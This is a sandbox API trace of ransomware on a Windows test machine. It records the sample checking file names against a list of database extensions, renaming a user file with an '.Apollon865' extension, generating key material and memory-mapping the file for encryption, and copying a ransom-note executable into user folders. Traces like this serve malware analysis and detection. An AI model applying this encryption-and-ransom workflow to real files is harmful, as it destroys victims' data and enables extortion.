	[0088.344] lstrlenW (lpString="accdc") returned 5
	[0088.344] lstrcmpiW (lpString1="g.mp3", lpString2="accdc") returned 1
	[0088.344] lstrlenW (lpString="accde") returned 5
	[0088.344] lstrcmpiW (lpString1="g.mp3", lpString2="accde") returned 1
	[0088.345] lstrlenW (lpString="accdr") returned 5
	[0088.345] lstrcmpiW (lpString1="g.mp3", lpString2="accdr") returned 1
	[0088.345] lstrlenW (lpString="accdt") returned 5
	[0088.345] lstrcmpiW (lpString1="g.mp3", lpString2="accdt") returned 1
	[0088.345] lstrlenW (lpString="accdw") returned 5
	[0088.345] lstrcmpiW (lpString1="g.mp3", lpString2="accdw") returned 1
	[0088.345] lstrlenW (lpString="accft") returned 5
	[0088.345] lstrcmpiW (lpString1="g.mp3", lpString2="accft") returned 1
	[0088.345] lstrlenW (lpString="adb") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.345] lstrlenW (lpString="adb") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.345] lstrlenW (lpString="ade") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0088.345] lstrlenW (lpString="adf") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0088.345] lstrlenW (lpString="adn") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0088.345] lstrlenW (lpString="adp") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0088.345] lstrlenW (lpString="alf") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0088.345] lstrlenW (lpString="ask") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0088.345] lstrlenW (lpString="btr") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0088.345] lstrlenW (lpString="cat") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0088.345] lstrlenW (lpString="cdb") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0088.345] lstrlenW (lpString="ckp") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0088.345] lstrlenW (lpString="cma") returned 3
	[0088.345] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0088.346] lstrlenW (lpString="cpd") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0088.346] lstrlenW (lpString="dacpac") returned 6
	[0088.346] lstrcmpiW (lpString1="bg.mp3", lpString2="dacpac") returned -1
	[0088.346] lstrlenW (lpString="dad") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0088.346] lstrlenW (lpString="dadiagrams") returned 10
	[0088.346] lstrcmpiW (lpString1="pXccbg.mp3", lpString2="dadiagrams") returned 1
	[0088.346] lstrlenW (lpString="daschema") returned 8
	[0088.346] lstrcmpiW (lpString1="ccbg.mp3", lpString2="daschema") returned -1
	[0088.346] lstrlenW (lpString="db-journal") returned 10
	[0088.346] lstrcmpiW (lpString1="pXccbg.mp3", lpString2="db-journal") returned 1
	[0088.346] lstrlenW (lpString="db-shm") returned 6
	[0088.346] lstrcmpiW (lpString1="bg.mp3", lpString2="db-shm") returned -1
	[0088.346] lstrlenW (lpString="db-wal") returned 6
	[0088.346] lstrcmpiW (lpString1="bg.mp3", lpString2="db-wal") returned -1
	[0088.346] lstrlenW (lpString="dbc") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0088.346] lstrlenW (lpString="dbs") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0088.346] lstrlenW (lpString="dbt") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0088.346] lstrlenW (lpString="dbv") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0088.346] lstrlenW (lpString="dbx") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0088.346] lstrlenW (lpString="dcb") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0088.346] lstrlenW (lpString="dct") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0088.346] lstrlenW (lpString="dcx") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0088.346] lstrlenW (lpString="ddl") returned 3
	[0088.346] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0088.347] lstrlenW (lpString="dlis") returned 4
	[0088.347] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0088.347] lstrlenW (lpString="dp1") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0088.347] lstrlenW (lpString="dqy") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0088.347] lstrlenW (lpString="dsk") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0088.347] lstrlenW (lpString="dsn") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0088.347] lstrlenW (lpString="dtsx") returned 4
	[0088.347] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0088.347] lstrlenW (lpString="dxl") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0088.347] lstrlenW (lpString="eco") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0088.347] lstrlenW (lpString="ecx") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0088.347] lstrlenW (lpString="edb") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0088.347] lstrlenW (lpString="epim") returned 4
	[0088.347] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0088.347] lstrlenW (lpString="fcd") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0088.347] lstrlenW (lpString="fdb") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0088.347] lstrlenW (lpString="fic") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0088.347] lstrlenW (lpString="flexolibrary") returned 12
	[0088.347] lstrcmpiW (lpString1="dJpXccbg.mp3", lpString2="flexolibrary") returned -1
	[0088.347] lstrlenW (lpString="fm5") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0088.347] lstrlenW (lpString="fmp") returned 3
	[0088.347] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0088.347] lstrlenW (lpString="fmp12") returned 5
	[0088.347] lstrcmpiW (lpString1="g.mp3", lpString2="fmp12") returned 1
	[0088.348] lstrlenW (lpString="fmpsl") returned 5
	[0088.348] lstrcmpiW (lpString1="g.mp3", lpString2="fmpsl") returned 1
	[0088.348] lstrlenW (lpString="fol") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0088.348] lstrlenW (lpString="fp3") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0088.348] lstrlenW (lpString="fp4") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0088.348] lstrlenW (lpString="fp5") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0088.348] lstrlenW (lpString="fp7") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0088.348] lstrlenW (lpString="fpt") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0088.348] lstrlenW (lpString="frm") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0088.348] lstrlenW (lpString="gdb") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.348] lstrlenW (lpString="gdb") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.348] lstrlenW (lpString="grdb") returned 4
	[0088.348] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0088.348] lstrlenW (lpString="gwi") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0088.348] lstrlenW (lpString="hdb") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0088.348] lstrlenW (lpString="his") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0088.348] lstrlenW (lpString="ib") returned 2
	[0088.348] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0088.348] lstrlenW (lpString="idb") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0088.348] lstrlenW (lpString="ihx") returned 3
	[0088.348] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0088.348] lstrlenW (lpString="itdb") returned 4
	[0088.349] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0088.349] lstrlenW (lpString="itw") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0088.349] lstrlenW (lpString="jet") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0088.349] lstrlenW (lpString="jtx") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0088.349] lstrlenW (lpString="kdb") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0088.349] lstrlenW (lpString="kexi") returned 4
	[0088.349] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0088.349] lstrlenW (lpString="kexic") returned 5
	[0088.349] lstrcmpiW (lpString1="g.mp3", lpString2="kexic") returned -1
	[0088.349] lstrlenW (lpString="kexis") returned 5
	[0088.349] lstrcmpiW (lpString1="g.mp3", lpString2="kexis") returned -1
	[0088.349] lstrlenW (lpString="lgc") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0088.349] lstrlenW (lpString="lwx") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0088.349] lstrlenW (lpString="maf") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0088.349] lstrlenW (lpString="maq") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0088.349] lstrlenW (lpString="mar") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0088.349] lstrlenW (lpString="marshal") returned 7
	[0088.349] lstrcmpiW (lpString1="cbg.mp3", lpString2="marshal") returned -1
	[0088.349] lstrlenW (lpString="mas") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0088.349] lstrlenW (lpString="mav") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0088.349] lstrlenW (lpString="maw") returned 3
	[0088.349] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0088.349] lstrlenW (lpString="mdbhtml") returned 7
	[0088.350] lstrcmpiW (lpString1="cbg.mp3", lpString2="mdbhtml") returned -1
	[0088.350] lstrlenW (lpString="mdn") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0088.350] lstrlenW (lpString="mdt") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0088.350] lstrlenW (lpString="mfd") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0088.350] lstrlenW (lpString="mpd") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0088.350] lstrlenW (lpString="mrg") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0088.350] lstrlenW (lpString="mud") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0088.350] lstrlenW (lpString="mwb") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0088.350] lstrlenW (lpString="myd") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0088.350] lstrlenW (lpString="ndf") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0088.350] lstrlenW (lpString="nnt") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0088.350] lstrlenW (lpString="nrmlib") returned 6
	[0088.350] lstrcmpiW (lpString1="bg.mp3", lpString2="nrmlib") returned -1
	[0088.350] lstrlenW (lpString="ns2") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0088.350] lstrlenW (lpString="ns3") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0088.350] lstrlenW (lpString="ns4") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0088.350] lstrlenW (lpString="nsf") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0088.350] lstrlenW (lpString="nv") returned 2
	[0088.350] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0088.350] lstrlenW (lpString="nv2") returned 3
	[0088.350] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0088.351] lstrlenW (lpString="nwdb") returned 4
	[0088.351] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0088.351] lstrlenW (lpString="nyf") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0088.351] lstrlenW (lpString="odb") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.351] lstrlenW (lpString="odb") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.351] lstrlenW (lpString="oqy") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0088.351] lstrlenW (lpString="ora") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0088.351] lstrlenW (lpString="orx") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0088.351] lstrlenW (lpString="owc") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0088.351] lstrlenW (lpString="p96") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0088.351] lstrlenW (lpString="p97") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0088.351] lstrlenW (lpString="pan") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0088.351] lstrlenW (lpString="pdb") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0088.351] lstrlenW (lpString="pdm") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0088.351] lstrlenW (lpString="pnz") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0088.351] lstrlenW (lpString="qry") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0088.351] lstrlenW (lpString="qvd") returned 3
	[0088.351] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0088.351] lstrlenW (lpString="rbf") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0088.352] lstrlenW (lpString="rctd") returned 4
	[0088.352] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0088.352] lstrlenW (lpString="rod") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0088.352] lstrlenW (lpString="rodx") returned 4
	[0088.352] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0088.352] lstrlenW (lpString="rpd") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0088.352] lstrlenW (lpString="rsd") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0088.352] lstrlenW (lpString="sas7bdat") returned 8
	[0088.352] lstrcmpiW (lpString1="ccbg.mp3", lpString2="sas7bdat") returned -1
	[0088.352] lstrlenW (lpString="sbf") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0088.352] lstrlenW (lpString="scx") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0088.352] lstrlenW (lpString="sdb") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0088.352] lstrlenW (lpString="sdc") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0088.352] lstrlenW (lpString="sdf") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0088.352] lstrlenW (lpString="sis") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0088.352] lstrlenW (lpString="spq") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0088.352] lstrlenW (lpString="te") returned 2
	[0088.352] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0088.352] lstrlenW (lpString="teacher") returned 7
	[0088.352] lstrcmpiW (lpString1="cbg.mp3", lpString2="teacher") returned -1
	[0088.352] lstrlenW (lpString="tmd") returned 3
	[0088.352] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0088.352] lstrlenW (lpString="tps") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0088.353] lstrlenW (lpString="trc") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.353] lstrlenW (lpString="trc") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.353] lstrlenW (lpString="trm") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0088.353] lstrlenW (lpString="udb") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0088.353] lstrlenW (lpString="udl") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0088.353] lstrlenW (lpString="usr") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0088.353] lstrlenW (lpString="v12") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0088.353] lstrlenW (lpString="vis") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0088.353] lstrlenW (lpString="vpd") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0088.353] lstrlenW (lpString="vvv") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0088.353] lstrlenW (lpString="wdb") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0088.353] lstrlenW (lpString="wmdb") returned 4
	[0088.353] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0088.353] lstrlenW (lpString="wrk") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0088.353] lstrlenW (lpString="xdb") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0088.353] lstrlenW (lpString="xld") returned 3
	[0088.353] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0088.354] lstrlenW (lpString="xmlff") returned 5
	[0088.354] lstrcmpiW (lpString1="g.mp3", lpString2="xmlff") returned -1
	[0088.354] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\G3dJpXccbg.mp3.Apollon865") returned 87
	[0088.354] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\G3dJpXccbg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\g3djpxccbg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\G3dJpXccbg.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\g3djpxccbg.mp3.apollon865"), dwFlags=0x1) returned 1
	[0088.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\G3dJpXccbg.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\g3djpxccbg.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.356] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4987) returned 1
	[0088.357] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.358] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.358] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.358] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1680, lpName=0x0) returned 0x15c
	[0088.358] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1680) returned 0x100000
	[0088.359] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.360] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.360] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.360] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.360] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.360] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.360] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.360] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.361] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.361] CloseHandle (hObject=0x15c) returned 1
	[0088.361] CloseHandle (hObject=0x9c) returned 1
	[0088.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.362] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3039c6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.362] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.362] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3039c6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0088.362] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.362] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ad0
	[0088.363] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP"
	[0088.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0088.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0088.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned 64
	[0088.363] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP"
	[0088.363] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.363] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.364] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.364] GetLastError () returned 0x0
	[0088.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.364] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.364] CloseHandle (hObject=0x10c) returned 1
